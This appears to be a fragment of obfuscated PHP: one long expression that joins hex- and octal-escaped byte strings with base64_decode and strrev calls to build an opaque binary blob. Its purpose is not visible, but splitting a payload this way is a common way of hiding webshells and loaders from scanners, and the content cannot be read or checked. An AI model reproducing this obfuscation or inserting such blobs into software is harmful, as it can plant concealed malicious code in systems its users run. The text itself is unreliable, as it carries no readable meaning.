\xe3\x47\xfe\xec\xee\x25\xad\xfb\x3f\xbe\xe6\xb9\xae\x87\xff"."\136\76\362\264\71\257\34\235\232\162\337\245\107\153\333\225\203\177\366\207\323\116\130\266\166\363\323\367\375\40\177\346\15\367\55\173\356\310\303\266\15\274\135\230\372\304\105\273\137"."\273\67\321\71\236\35\171\242\245\353\217\215\127\76\126\377\351\341\357\236\61\347\210\306\376\113\136\34\157\112\132\17\314\354\375\332\301\33\376\231\371\266\276\41\126\370\342\336\374".base64_decode('RZvmtf3i3KsTX0i/dNCDNTOve3v23n9at73Q/OxR/ifn31DY/fLy60e2LTj21a8V6w==')."\x57\xd5\x2c\xde\x3f\xbe\xe3\x67\x2b\x3\xa7\x6c\xbb\x20\xb3\xf7\xac\xf7\xaf\xff\xea\x81\x2f\xdc\x7d\xfd\x21\xc6\x95\x87\xb7\xde\xb8\x61\x6e\xa1\xf8\xd8\x21\x81\x2b\xd7\x1d\xa7\x8f\x9e\xf1\x8f\xd3"."\207\46\177\137\235\264\170\322\101\372\17\342\57\136\176\367\316\205\227\57\271\145\376\327\206\157\333\157\157\366\206\147\216\170\332\227\72\365\246\143\56\73\142\305\155\217\74\175\235".strrev('wy}5?~o5')."\xb7\x59\xff\xd7\x3d\x3f\xbc\xee\x8e\x1f\x1f\xf6\xca\xb7\x7e\x53\xfa\x65\xd7\xf6\x27\x97\x3e\x72\xe8\x29\x93\x7f\x78\xed\xf2\x93\x9f\x78\xfb\xc4\xd6\x86\xb1\xa5\x6f\x7e\x2d\xff\xcd\x9f\x5e\x3e\x65"."\xfa\xef\xcf\x3c\x61\x51\xfc\xca\x54\xfd\x51\x77\x5c\xbc\xff\xb7\x6a\xb6\xbe\x62\xf4\x7e\xf0\xbd\x93\x56\x24\xa\x87\x9f\x72\xf8\xf1\x87\xac\xea\xdb\xb6\xba\xef\x9d\xe7\xfe\x7e\x7b\xf1\xc6\xe9\x33"."\x8f\xd8\xf7\xcf\x17\x5d\x7b\xcb\xad\xbf\xf8\x60\x65\x74\xf7\x45\x37\xbe\xff\xca\xea\x1b\x2f\x7d\xf8\xdc\x7d\x2e\x3f\xc0\x38\xed\xc0\x93\x87\x1f\xac\x7b\xd2\x6f\x7e\x61\xcf\x83\x2f\x7f\xf2\xcb\x53"."\x4a\x4a\x74\xe5\xdc\xfb\xee\x4f\x9f\x7a\xdd\x58\xd3\xb7\xc2\xe7\x6c\xda\xf7\x90\x3f\x99\x81\xe5\x1b\x6\xb6\x3e\xfa\xc4\x6b\x4f\xec\xea\xff\xf0\xb2\xf2\x2b\x3f\x9c\xf9\x9b\x83\x9e\xf8\xe8\xb8\x63"."\347\74\172\366\302\225\261\335\117\75\162\335\103\73\136\70\343\375\57\357\171\145\143\367\242\73\207\56\371\150\307\103\217\175\362\227\207\266\335\265\141\135\352\344\237\76\366\144\217"."\377\264\113\6\76\331\371\302\377\134\361\335\261\17\376\376\316\212\233\257\130\375\351\7\157\314\371\203\332\277\355\73\377\171\373\117\173\202\177\120\77\335\363\311\367\246\114\271\342"."\323\267\336\337\161\375\357\27\175\372\367\37\155\275\363\216\107\77\171\365\137\337\175\261\366\234\105\113\77\356\72\337\234\251\247\16\130\122\363\333\333\2\77\375\352\3\127\237\64"."\351\114\347\303\243\264\257\324\357\271\50\377\372\103\217\115\135\323\366\324\215\305\67\217\133\163\356\103\67\314\230\362\355\370\346\377\214\274\265\347\206\173\216\114\245\256\170\60\371".strrev('o}]+ܘ~[{餺7[3d~]')."\x7e\xea\x13\x53\x2e\x3e\x7f\xd7\xe1\x3b\x47\x7e\xbd\xe7\xa4\xf2\x13\x4d\xb1\xa7\x37\x75\xfc\xeb\xdb\xea\x31\x8f\xed\xf3\xfa\x2d\xbf\x5b\x7d\xf3\x77\xd6\x8d\x26\xce\xfd\xbe\x7a\x56\x7e\xca\xa6\x7"."\357\135\365\356\161\352\33\65\143\331\323\16\273\364\334\33\26\337\340\177\162\357\245\352\27\227\135\164\332\125\223\116\273\154\322\113\337\374\141\115\340\250\333\217\131\265\374\321\127"."\xc6\xdf\xb9\x64\xed\x29\xbb\xb4\xd6\x67\x86\x1f\x3c\x62\xd2\x27\x47\xec\xdf\xbc\xf1\xe2\xd5\xcf\xce\x5b\xf6\xcb\xaf\xef\x57\xfb\xd2\xe8\x4b\xe6\xdc\xf7\xd6\x2d\x9d\xb7\xf7\x5f\x2d\xc7\xbc\xf2\x95"."\207\266\334\165\101\140\357\141\113\346\245\227\227\37\331\277\66\163\367\205\317\374\50\364\335\324\5\147\354\170\161\331\266\373\267\135\174\312\63\267\265\371\167\47\233\237\371\244\143"."\xe8\xdf\x37\x24\x4b\x1f\xbf\xf6\xa7\xd5\xb7\xf5\xbe\xf1\xac\xfd\xd3\xf3\xf6\xda\xff\x7c\x77\x7b\xfc\x91\x6f\xc6\x7e\xfe\xda\xdb\xd9\x1b\x7f\xb1\xe1\xf6\xf5\x87\x3d\xf8\xf8\x9d\x97\xd8\x77\xdc\xb1"."\x7c\xf6\x3d\x87\xbf\x35\xfc\xe1\xc8\xf2\x77\x2\x8f\xff\xe1\xc6\xde\x3d\x57\xbd\x99\x98\xb6\xf5\xb1\x43\xf6\xf6\xec\xf5\xbd\x79\xda\x9d\x7b\x6f\xdd\x35\xbd\x76\xe5\x86\xf6\x55\x57\x5c\x32\xb9\x6f"."\363\25\177\321\42\233\6\16\235\64\375\37\177\233\74\367\313\367\205\362\347\77\166\344\133\107\156\177\350\223\371\127\65\235\375\332\103\265\341\17\207\233\327\364\16\274\30\174\366"."\310\17\17\275\140\311\252\65\345\207\216\76\52\63\345\340\257\157\72\174\317\313\253\142\255\357\326\37\374\223\77\37\364\3\377\207\107\377\174\332\120\363\247\153\266\274\165\371\76"."\xf5\xaf\x7e\x58\xdf\x7c\xf6\x53\xbf\xb9\xd3\x3a\xf6\x1b\xa3\x3b\x5e\xff\xc6\x94\x17\x13\x2f\xf9\xf7\x6f\x7a\xb1\xeb\xb9\xe5\x27\xd4\xe5\x7\xdf\xfc\x89\x36\xe9\xe9\x33\x57\x2f\xdc\xbe\x25\x9c\xdf".base64_decode('+8nFev1AaaZ5128vPuW9m0rtRwRPunFqYvrQTUeuPm3HIw/0/uH9Hx+0Zu5Fha9tXQ==')."\177\346\344\263\273\233\216\312\326\176\243\246\63\161\312\76\375\47\147\357\173\53\367\302\75\177\354\272\152\356\332\353\277\372\247\117\302\377\71\357\371\271\357\135\266\157\377\355\113".strrev('Mo;6OK{\\[Zj׋š-AYϳkyYn')."\x7a\xf1\xc3\x57\xd7\xa4\xdf\xad\xdb\x75\xe3\xc9\xf7\xe\x34\x3f\xff\x4a\xe0\x8e\x47\x7\x7f\x79\xfa\x7\x27\x5d\xbf\x70\xef\x3f\xb7\x3f\x9e\xa\xf\xfd\xa5\xfe\xd2\x83\x5e\xee\x1a\x5a\x7f\xc2\xab".strrev('=|SXzauO__ݗ5/?_sjG').strrev('X4:6o~\\ηv?Euߦ')."\214\5\103\275\327\326\350\177\176\70\173\321\367\62\303\347\174\374\327\344\264\55\345\355\357\177\264\50\170\371\306\261\367\376\375\207\233\356\373\360\203\217\316\120\57\373\357\73\43"."\273\216\331\70\376\321\37\157\73\147\321\177\376\375\343\51\127\154\135\364\357\232\33\176\277\42\166\205\372\351\256\75\357\376\353\3\65\240\156\273\367\223\327\277\367\217\277\176\272"."\375\223\327\16\12\336\377\361\243\177\332\165\305\247\377\275\377\212\367\226\370\17\370\347\206\33\332\336\150\135\363\344\112\163\347\63\267\114\172\145\325\375\377\230\255\156\370\167\313".strrev('^}7j||}/ [:{:#mer^l')."\163\57\213\346\162\167\375\154\307\270\366\263\225\47\15\374\376\206\377\256\134\71\355\355\45\307\57\133\170\256\362\317\57\135\276\343\344\206\243\337\70\374\53\207\277\274\354\275\251"."\x33\xdf\x78\xa9\x69\xf6\xf0\x81\x4d\x5b\xe6\x7d\xf5\xee\x75\x4f\xcc\xd2\xe6\xfe\xf7\xf0\xd4\xcd\x8f\x2e\x3e\xf7\x50\x66\x4f\xd3\x34\x17\x84\xb1\x23\x65\xcd\xce\xe\x82\xa0\x71\xb4\x3c\x96\xb3\xd6".strrev('U56 =Áff+ܻY6Xs42')."\6\165\314\152\204\54\115\263\130\12\375\31\312\351\153\15\46\236\200\74\363\232\32\31\63\234\36\132\237\7\1\313\272\202\66\62\232\205\117\316\234\7\25\317\156\232\107\3\303"."\251\342\130\116\203\236\346\122\353\207\362\172\226\165\21\76\71\157\16\64\157\264\140\153\143\105\70\232\314\235\1\132\210\226\75\74\230\141\247\53\253\64\72\74\142\103\157\347\314"."\205\202\166\71\63\64\154\260\103\116\166\170\160\44\303\144\234\131\43\147\215\300\45\372\332\174\101\113\225\241\55\263\130\375\116\176\44\65\274\26\170\363\131\263\331\260\216\71\326"."\120\11\332\62\143\36\344\65\312\353\206\327\62\375\122\53\357\254\55\260\173\344\246\71\60\141\143\351\41\113\33\206\317\317\152\200\361\130\133\64\7\63\303\320\302\131\63\131\273"."\7\65\63\75\14\47\363\246\31\60\316\351\165\345\321\101\3\370\360\271\154\22\315\365\345\21\256\313\322\324\0\363\64\273\21\2\345\264\221\317\16\303\325\245\71\230\32\33\31".base64_decode('hmYOavliZrjEGgT9G82szeUN6PVsBjXtdaNjzOJqzjyYoKGxYm7ELrDGM0ScAcmllA==')."\246\27\31\256\150\153\307\112\246\3\35\155\234\7\215\37\324\327\216\24\312\60\155\263\147\3\222\33\43\346\372\301\61\150\331\230\146\33\43\114\272\65\243\21\320\47\225\321\12"."\x56\x19\xe6\xaf\x89\x75\x76\x16\x8c\x9f\x39\xb2\xde\xc8\xf\xe5\x18\xc2\x0\x34\xeb\x8c\x8e\x95\x86\x32\xac\x95\x30\x2f\x39\xcd\x5c\x3b\xea\xac\x83\xa9\x4b\x65\xcc\xe1\x32\xf4\xbe\xb1\x11\xb2\xcc"."\x9d\xc3\x30\x6e\xfd\x70\x36\x3\xa9\x33\xd9\xc7\x52\xeb\xac\xb4\x96\x87\x8f\x35\xce\x85\x89\xb5\xf3\x4e\x7a\x2c\x35\xc8\xc6\x86\x2d\x1f\x27\xb5\x6e\x34\x7\xb7\xff\xa9\xc1\x8c\x51\xb2\x61\x7d\xaf"."\63\163\345\222\3\221\231\115\254\226\262\266\66\313\232\154\71\131\263\74\6\203\325\330\300\126\50\124\335\304\26\363\314\331\263\131\27\1\73\33\131\236\231\263\241\47\115\14\235"."\x67\xcc\x82\x31\x1f\xd5\x8b\xd9\x75\x69\xc0\x93\x19\x73\xa0\xe4\xcc\x19\x30\xde\x33\x66\xcf\x64\x93\x9a\x47\x88\xcc\xf4\x11\x73\x5a\x69\xad\xc9\xe\x6e\x73\x67\x30\xfc\x80\xd2\x4d\x33\xe0\x2b\x69"."\153\175\336\311\101\345\271\214\225\65\113\153\131\103\240\325\363\330\252\317\215\151\243\234\352\315\156\230\315\146\166\6\103\35\250\174\270\120\64\62\45\100\250\246\71\54\171\56\44"."\317\231\1\103\70\226\52\145\322\114\277\152\254\64\232\325\6\141\10\163\251\142\132\147\65\330\316\350\272\334\132\66\376\163\240\360\274\106\10\160\5\324\126\55\75\304\344\277\262"."\x16\x27\x37\xbe\x2a\x6\xa\x5a\x91\x2b\xcf\x74\xc2\x5c\xa7\x65\x85\x7d\x39\xc3\x90\xae\x33\x55\x6f\xa6\x4c\x2e\xb4\x33\x40\x6b\x14\xe0\x46\x41\x17\xf2\x6b\x7a\x63\xc0\x4a\x8a\xf3\x39\x16\x86\x48"."\xfa\x1d\x38\x9a\x90\x6b\x49\x17\x1d\x29\x19\xc5\x5c\xa9\x9\xc7\xb4\xb8\x46\x9\xd5\x55\xb\xe0\x16\x6\xe4\xae\xae\x2a\x30\xb2\x50\xe5\xb2\x11\x24\xb3\xb6\x3d\x62\x5a\x30\x64\x43\x66\x26\x9d\x37"."\313\31\127\255\231\224\253\116\16\145\2\5\157\112\166\2\70\252\307\245\167\315\140\256\301\112\221\111\123\345\110\200\15\167\112\232\120\52\124\167\64\173\50\40\203\375\162\252\121"."\x44\xad\xc8\xe7\x3\x6e\xdb\x51\x95\xfc\x81\x31\xa0\xf6\x89\x36\xd6\x52\x2e\x8a\x8b\x6a\x7b\x48\x1a\x78\x6c\xf4\xd9\xdb\xa3\x26\x43\x89\xa5\x92\x42\x1f\x36\x4a\x64\xe8\xa4\xa\xc5\x7a\xa9\x5b\xa2".base64_decode('Bmkc5Rl0DwHDkN0337Pj/It3XnTLzs037bh7y+6bbtmx7SIUff3O83bcdPkbl256/Q==')."\xce\xcd\xaf\xdf\x79\xf2\xee\x33\x7e\xf5\xce\xbd\xe7\xee\x38\xff\xe6\xdd\xdf\xdb\xb6\x63\xeb\x35\x3b\x7e\x7a\xc6\xeb\xf7\x6c\xdb\x7d\xff\x19\xbb\xae\x39\xe7\xf5\x3b\x6f\xdc\xb9\xf5\xac\x1d\x9b\x7e"."\375\372\75\27\357\70\363\312\35\147\234\277\163\313\346\327\267\155\105\371\167\236\51\152\106\331\166\334\170\11\56\173\357\251\73\356\274\163\367\117\256\341\251\357\334\173\12\155\314".strrev('"jqKurV#G^OJRB:2--2ruz').base64_decode('tZO1FaOIkxU2NwGOlEm9UMKoBaMUpLZ0LmV+Cf+qDTNNqIJWeKzFXNXhIFzDYfmekg==')."\325\20\40\323\254\144\121\61\205\231\304\50\216\311\302\205\61\76\351\236\105\120\165\132\171\63\330\324\346\270\230\135\110\177\241\141\222\151\6\275\152\251\100\51\262\252\334\44\301".base64_decode('td7cxEROco8EiGeJloBPoU3xKeRuWHEbjuJbf3aTLq8xufmWXspLt0SlsaqDKLdGvg==')."\x98\xf6\x74\x2d\x51\x65\x18\x79\xe7\x5c\x89\x68\x5d\x97\x9d\x2a\x19\xe5\xd1\x96\xc5\xc1\x86\xd9\x96\x47\x84\x4e\xdc\x66\x92\x7b\x7b\xd1\xd\x1a\x15\x62\x68\xf4\x21\x4e\x27\x2d\x3d\x63\x30\x55\x64"."\275\100\162\62\73\16\42\374\346\72\320\151\264\4\54\327\35\326\202\105\245\301\22\66\273\167\346\57\2\363\136\270\23\124\245\357\102\130\130\22\311\320\274\367\136\214\57\230\366"."\x56\xc9\xf8\x1d\x67\x6b\xf6\xfb\xfd\x92\x7c\x57\x28\x9f\xe1\x10\x54\x27\xee\x8b\x11\x2c\x8c\x57\xf3\x44\xf0\x76\xae\x45\x81\x96\x79\x2e\xa7\xdb\x4e\x33\x31\xca\x53\xa6\x2b\xa8\xa1\x73\x3\x8d\x28".base64_decode('QBbErMAcFCSjBIu4H0aubDNLmamBmXBksOeDCsh8QktapOYDXJQqF/MMioIoS7xcxA==').base64_decode('M9zs7rNezEiF5mtpR6pVzcKgBsR4aNNFup45FiZGGqURyMDKdrnnHfXfz1EBTS9iFw==')."\62\66\121\135\205\35\7\252\264\45\173\345\270\300\42\134\234\14\327\147\24\165\344\51\57\41\226\244\310\165\126\355\274\306\356\33\155\154\2\122\324\71\376\225\155\176\45\322\32"."\x4a\x44\xda\xd4\x9e\x10\xb3\xc6\xd0\x4a\xa5\xa0\x9d\x19\xb2\x83\x58\x57\xd2\x18\xd6\xa3\x46\x2a\x88\xd\x99\x31\x3a\x5\xb8\xa9\x2f\x5e\x44\x82\x8\xa8\x5a\x16\x8c\x3c\x23\x90\x8e\xb5\xc6\x55\xc4"."\41\330\22\231\120\163\272\243\2\323\304\70\27\274\13\250\132\312\264\34\151\255\250\31\166\276\213\106\132\325\366\110\134\252\243\124\256\250\103\162\120\21\352\211\250\211\104\114\352"."\16\61\317\134\251\56\215\265\253\155\261\330\322\10\54\3\230\370\146\211\122\143\163\76\161\323\215\143\302\254\17\137\16\311\172\156\62\53\204\75\10\340\355\76\241\200\266\50\132"."\x6f\x6d\x9d\xa1\x38\xd7\xd1\x9f\x15\x68\x8\x34\x8a\xbc\xe8\x83\x2a\x36\x55\x68\x61\xd6\xca\x89\x64\x28\x5e\xc5\x8f\x4\xf5\x2f\x1\x48\x1\x3e\x25\xa0\x40\x67\x6c\x85\xd2\x16\x8b\xf6\x76\x75\x27"."\250\373\4\12\357\216\111\351\104\23\33\222\231\227\211\312\144\250\76\334\23\15\265\205\225\110\167\62\306\114\55\270\62\54\61\262\111\360\70\33\2\313\326\271\27\11\50\117\43"."\xb2\x21\x90\x5c\x23\xaf\x9\x96\x51\x9f\xaf\xb6\xbf\xa6\x7f\x5a\x7f\x5d\x7f\xfd\x9a\x40\xbf\x3d\x0\x4\x8f\xcc\x88\x21\x4f\xf\x44\x7a\xda\xa1\x7b\xcd\x3c\x94\x61\xd2\x81\xae\x44\x62\x19\x98\x8".strrev(']=Jt;EQYi?]_[4"nB'."\n".'k(')."\xb7\xf3\xc2\x9b\x77\x9e\x7b\xa\xb4\x7f\xf7\xcd\x77\xbc\xbe\xed\xfe\x5d\x17\x5e\xb3\xe3\xa6\x4b\x76\x5e\x7c\xd7\xae\x1f\x9d\x46\x13\xde\xb8\xf6\xd6\x1d\x67\x5f\xc3\x1b\xa6\xbc\xb1\xe5\xbe\x9d\xe7"."\375\214\263\114\224\123\362\241\322\157\154\332\274\153\333\115\230\141\272\372\344\235\267\237\263\163\353\346\35\147\377\144\307\245\327\354\72\357\346\35\127\175\157\307\351\233\167\337\174"."\321\261\136\104\242\361\76\66\25\140\145\33\134\215\215\212\351\360\366\333\323\361\320\326\243\337\72\154\271\201\176\231\2\72\121\112\136\326\33\356\156\13\173\55\241\344\50\270\340"."\x98\x46\x31\x84\x6a\xdd\x0\x77\x6b\x83\xb\xf\x16\x27\x96\xfc\x2d\xb5\x13\xb6\x62\x1c\xe6\x5f\x6a\x94\xd4\x98\xf6\x70\xa2\x2d\x1e\x69\xd\x83\x6d\x0\x9f\xa8\xa9\x84\xbf\x3\x95\xb\x4\x4d\xc4".strrev('^='."\0".'Gx5)eDRdcI._3i\\Wd1Ԣp0')."\x40\xb4\x89\x6b\x57\xd5\xfa\x1a\x7c\x8d\xf5\xa\xf8\x53\xa1\x25\xc0\x8b\x8a\x52\x3\x2a\xea\xbc\x9c\xeb\x23\xbe\x94\x2b\xd6\xe8\x6b\xa8\x57\x6a\x4a\x43\x35\xd0\x2e\x31\xae\xa8\xf5\x2a\xcd\x69\x2b"."\232\257\16\32\54\67\127\344\105\324\314\166\54\315\100\344\115\111\373\70\210\227\107\277\56\317\50\351\200\50\101\347\11\345\360\302\224\120\167\273\73\47\165\250\322\123\113\324\65"."\xd3\x1\x87\x3b\x6c\x60\xd3\x5c\x5b\xaf\xa4\xc0\xe2\xa2\x4a\x22\x29\xe6\x1a\x8c\x16\xd7\x60\xd4\x4d\x7\x3a\xd1\xb3\x98\xcf\x37\x35\xa7\x50\xa8\xb5\x1d\x6d\x96\x66\xb3\x89\x2\x28\x99\x2a\xc\xa5"."\263\305\362\232\250\33\150\162\150\176\24\340\51\330\360\200\327\204\310\21\117\140\63\210\341\174\22\253\244\21\117\67\65\224\7\245\375\54\330\71\106\352\300\303\112\327\52\336\7"."\206\313\60\5\272\360\223\203\355\6\303\311\266\116\212\345\11\11\315\63\251\251\56\104\25\303\251\270\120\204\37\144\40\37\135\56\230\40\114\46\371\42\335\35\261\170\27\265\227"."\x4b\xb4\x75\x86\xbb\x42\x1\x20\xe2\x14\x13\x68\x7e\xcc\xe9\x29\x2d\x4a\x2d\xa6\x7c\x14\x54\xeb\x1a\x7e\xf2\x21\x36\x64\x49\xf2\x55\xb4\xae\x54\x7\xb1\x6d\x74\x14\x4a\x39\x68\xc\xcc\xbe\x42\x4c".strrev('32?\\oqaP;0ٱ4iZQ,'."\0".' `)Ÿ\\IE=%;'."\r".'Ie9Bu֬'."\r".'?W(')."\64\51\274\62\31\17\141\40\341\112\17\230\214\376\20\202\202\117\115\126\101\243\266\246\204\227\13\254\1\341\301\32\27\353\110\231\112\314\74\2\6\221\55\117\352\23\117\41\22".strrev('w9aFq<'."\r".'ը6JaYwV'."\0".'`t4p)a|:').base64_decode('HCgsag0sADzzNAhOL1Vu0syEK3XMNNjHAsy1BDGhYhK0AiI5PCZmDXAfZkVOlY3AhA==')."\x57\x4e\xbc\x49\xe2\x49\x86\x5\x10\xee\x8\xf5\x46\x65\x8\xc\x95\xb2\x34\xbc\xea\x33\xd6\x8\x6b\x69\xb5\x35\xc2\xd2\x98\x98\x86\xaf\x36\xe8\x4f\xdd\x2c\xe8\x1f\xf5\x76\x51\xd7\x84\xce\xaa\xe5".base64_decode('Inbnwn0CQqtoLNSbjKlo/4iHMTWHHvFhldorncflSYFqcAbu4vQzusbyVOsaL88lUg==')."\341\356\305\221\356\160\113\327\130\44\21\352\122\130\303\101\346\206\75\1\316\205\172\42\61\65\212\170\142\125\26\253\105\142\40\174\16\244\144\127\47\252\360\230\22\320\204\302\270"."\143\225\45\317\224\206\111\224\263\273\270\35\7\321\46\107\10\21\22\236\22\270\200\234\244\225\123\270\264\274\135\101\171\217\67\107\303\154\306\51\70\63\345\122\346\213\354\252\353".base64_decode('417tbBksFMXFnTK7w0b7kKtAr+TpABdW2AfJrVLR3Ty0X+aZiyZVF70p6LbN75bJ4Q==')."\x87\x5\x9d\x41\xe1\xe8\x41\x76\xa6\xd9\xde\xca\x46\xae\x5c\x74\x12\x7a\x1e\xa4\xfd\xed\x29\xa2\x66\x2f\xac\xe3\x84\x5\x92\xa4\x7e\x4f\x2e\x6a\xc4\x74\x50\xb7\xa6\x9e\x82\x50\x53\x84\xf7\x57\xca"."\x25\x80\x51\xe1\x3d\x13\xdf\x91\x88\x3a\x7\xd8\xd1\x5e\x74\x72\xbd\xc1\x76\x36\xef\xd\x23\x6f\x64\xd1\xec\xd1\xad\x82\x41\x2e\x83\x56\x8\x83\x1f\x9e\xae\xcb\x8\x50\x6d\x80\xfd\x8d\xd2\x17\x24".base64_decode('E0cchYnEt52SrUi5iNrll62P0MQSoGTvwHx/0tgc0OrgNldODiDs12IpAeHIhtSJeQ==')."\x17\xbf\x70\x2c\x91\xd1\x64\x43\x4f\xc9\x67\xf4\xb1\xf2\x8c\x93\xa9\x13\x88\x97\x35\x64\x2f\x13\x1\xe1\x48\x94\xe3\xf2\x89\x7c\xc0\xb1\x1\x34\x5c\xd1\x63\x3e\x38\xab\x4a\x6d\xe9\xe1\xf9\xd3\xdc"."\143\64\35\15\151\230\11\200\6\311\352\123\232\105\43\72\121\113\115\153\114\302\1\11\332\305\174\57\201\33\323\250\11\34\53\66\330\320\35\360\272\345\42\36\221\30\224\15\350"."\330\372\211\332\242\140\133\65\136\220\272\121\373\374\102\275\222\47\327\11\326\173\325\162\155\220\221\177\320\42\62\236\317\377\140\134\27\133\62\52\106\214\315\76\267\220\240\177\344"."\x4b\xa4\x90\x44\x33\x3d\x65\x8\x3a\x52\xc3\x18\x98\xf9\x41\x48\x16\x38\x86\x8\x75\x77\x4c\xed\x44\x7b\x41\x8c\x71\xc\x86\x9d\x74\xd1\x5e\x56\xa\x48\x81\x83\x18\x9a\x74\x90\xd8\xf1\xc2\x79\x6c"."\76\271\114\242\27\233\60\331\33\20\131\345\41\246\312\1\256\274\304\116\35\242\77\253\12\31\77\152\70\140\135\106\167\270\13\45\114\315\230\315\43\156\263\144\370\134\340\324\157"."\x44\x72\x4e\xa9\xd\xeb\xd8\xb6\x8c\x49\x3b\x2a\x34\x6a\xa0\x2b\x95\x9d\x83\x26\xe2\xdb\xaa\x44\xac\x37\xce\xae\x54\x70\x1c\x8b\x8c\xd4\x78\xb8\x6d\x15\xbf\xdd\xe0\xd0\x8e\xd0\x72\x2f\x24\x82\x45"."\201\241\305\125\301\134\20\205\341\344\304\247\306\143\130\222\27\216\166\170\12\44\72\271\57\121\67\114\215\106\272\227\126\115\100\174\103\227\124\204\2\43\311\160\227\27\346\256\41".base64_decode('EQ7FmRNaHG+Nxtqk5EisciQ4Y8KBVN5HgcHVdf0byJGlGZ1cMuNYMOBXB6bXL+rfWA==')."\x5f\xd7\x1f\x5c\x14\x98\xc6\xe5\x59\x94\x5c\x49\x96\xb5\x13\x80\x6d\xb6\x89\x34\x7b\x1\x78\xff\x61\x40\x5a\xc\x62\xc1\x40\x0\x3e\xc2\x3\xc1\xfe\x20\xf3\xd3\x15\xe4\x89\x3c\xd3\xb8\x7b\xe7\x0"."\317\317\11\352\352\310\325\74\217\17\20\146\134\37\360\72\65\125\261\21\257\312\27\32\276\33\125\23\253\22\174\112\50\176\126\113\167\41\41\315\46\53\113\170\62\243\277\75\162"."\x56\xac\x9f\x53\x35\xa3\xb\x8b\x5d\x46\xcc\x32\x28\x60\x98\x62\x81\x88\x95\x9c\x31\xd3\x65\xec\x59\x49\x4c\x8b\x30\x79\x46\xa0\x80\xab\xa\x44\xc3\x87\xc4\xb1\x1b\x16\x62\x82\x2d\xd8\x22\xda\x1e"."\x61\xff\x6d\x43\x5c\xe4\xe2\xce\xc8\x92\xa5\xd1\xae\xee\x58\xcf\xb2\x78\x22\xd9\xbb\x7c\xc5\xca\x55\xe0\x5e\xb2\x99\xe1\x49\x56\xf1\x33\xc7\x68\xe0\x30\x35\x38\xac\x59\xc1\x61\xe6\xf2\x7b\x39\x3e"."\4\350\166\120\146\256\70\20\365\21\321\100\106\301\202\124\66\300\123\61\301\10\126\117\242\265\5\13\105\247\161\202\34\75\226\236\62\115\147\202\324\345\135\237\135\61\44\366\365"."\333\3\34\61\63\372\60\4\205\102\234\55\216\76\300\127\370\145\327\343\30\125\145\126\57\223\362\60\0\0\20\42\176\211\115\220\344\376\330\76\124\370\341\55\2\53\64\306\256".base64_decode('R4hXsjaTfwZ8gi7GPkGZP9B1xFOl183lOr825EoXfn3X+dER0RX3uLrECg3cuS+O2A==')."\74\46\57\11\262\125\160\75\37\274\41\165\172\126\43\7\162\47\304\11\242\1\331\254\314\4\117\335\35\210\65\226\14\76\231\257\144\301\72\141\166\213\70\247\246\121\237\42\174".strrev('{LciG۸LIf"o.150:C aFSӧ YD=\'y3').base64_decode('C4xGW8fi0mshLocU8gMFWqnUNoj74Fq1LlBajmSxpoms9wKiPKr2GkDJ7ZSTy/D8tg==')."\10\361\131\314\112\363\353\252\16\212\5\361\255\66\15\346\65\333\131\356\362\320\363\271\156\221\261\47\212\56\316\255\162\106\51\150\332\166\20\173\25\44\354\41\327\353\212\45\330"."\45\205\273\57\124\325\105\72\115\202\143\63\356\335\227\373\376\25\16\202\251\154\231\206\303\334\333\12\342\162\103\71\354\140\303\54\262\327\46\302\243\45\323\326\145\177\323\31\235"."\x78\xb9\xe4\x16\xe5\x92\x1b\xe7\x82\x36\x8a\x57\xc\x53\x77\x93\x1c\x3a\x33\xf7\xc8\xb2\x8b\x41\x3c\x60\xfe\x82\xcb\x1\xfd\xa8\x1f\x75\xdd\xe3\x12\xd9\xd6\xf5\x21\xa6\x94\x27\x71\xbc\xfc\x54\xdb".base64_decode('w10de7uDUVYsXos7t6bXlf6qAL/kmYFireQqHbULqsbNhJPvIBkbdiSmPydV67XfEg==')."\276\247\321\134\322\7\16\226\352\143\314\257\263\207\266\170\134\101\367\57\356\357\352\117\312\303\344\130\132\66\213\232\55\71\35\165\265\105\170\236\6\364\43\157\22\260\301\230\330"."\x6f\x35\x48\xdf\x4f\xa8\xea\xf6\x1a\x12\x9\x8b\x1b\xb4\x88\xb6\x97\x6f\x84\xb3\x11\x41\xf2\xb8\x49\x15\xdc\x5d\x86\xe1\x80\xbd\x59\xa1\x22\x56\x2a\x4b\xef\xeb\xc8\xf8\x82\xb7\x7\xae\xc9\x85\x8f".base64_decode('xtRbOKP2xIs3vBLQwnqEhq7YajKrjQ01CBNrmmuOr0O/9TW+GswAkTieRQwg7ahpPg==')."\276\216\4\352\301\125\312\172\146\24\44\374\253\212\53\137\220\346\54\102\103\53\335\123\54\42\243\201\327\176\123\260\51\70\2\364\140\321\72\374\105\361\324\207\327\323\365\250\252".base64_decode('FdYz+bsqe3MGP9Ew6nJKJ28J8/Pc1Q7Vr/SHuk7yC4/HCxaNFvIKHGtaahsDDbUKew==').base64_decode('CqaltjfZ4Z9bu2jhAQvayK2lo3fha0d86KanzYVwq7AALy8eCbpjE5UF/Cto682iNg==')."\142\43\12\125\10\244\141\60\173\71\25\23\336\306\213\272\63\142\132\160\45\13\274\32\67\160\32\224\150\117\301\146\113\233\110\70\232\261\40\216\165\277\267\64\126\56\372\361\231".base64_decode('15+QveF53jdocOfHp1Z3fpk0pgX5KIggfauiWZEfMJFc/BKJCF2VTLsAYJhqMpCgoA==').base64_decode('WaGtjkmi6iaJJ3rai4faj5gDjP9oUTmG5J9bzuJ+JcP7doZ3FEgRPLl++VGOUcTJ4Q==')."\x64\xec\x9e\xdf\x8f\xe7\xd7\x6f\x64\x26\x4a\x11\x8b\xba\x6a\x53\xd3\x80\x2a\xd5\xb2\xf4\x96\x8d\x8c\xf7\x93\xe4\x16\xdc\x5f\x2e\xb3\xf\x56\xad\x54\xe6\x33\x59\x6\xd2\x89\x8\xaf\x4f\x76\xf3\x8e"."\117\340\176\56\364\367\172\221\27\274\271\126\351\362\36\55\136\245\151\106\363\254\171\350\177\12\71\201\135\342\227\113\114\141\30\5\231\113\374\143\203\131\106\7\304\263\31\254\157"."\170\302\245\67\4\134\140\61\214\174\205\63\2\342\312\47\132\353\172\220\5\72\112\317\205\322\133\7\104\124\113\127\22\126\155\121\371\213\20\125\50\51\142\362\1\105\31\227\55".strrev(';V4j\\tl'."\n".'j>'."\r".')\'Cbkŀ 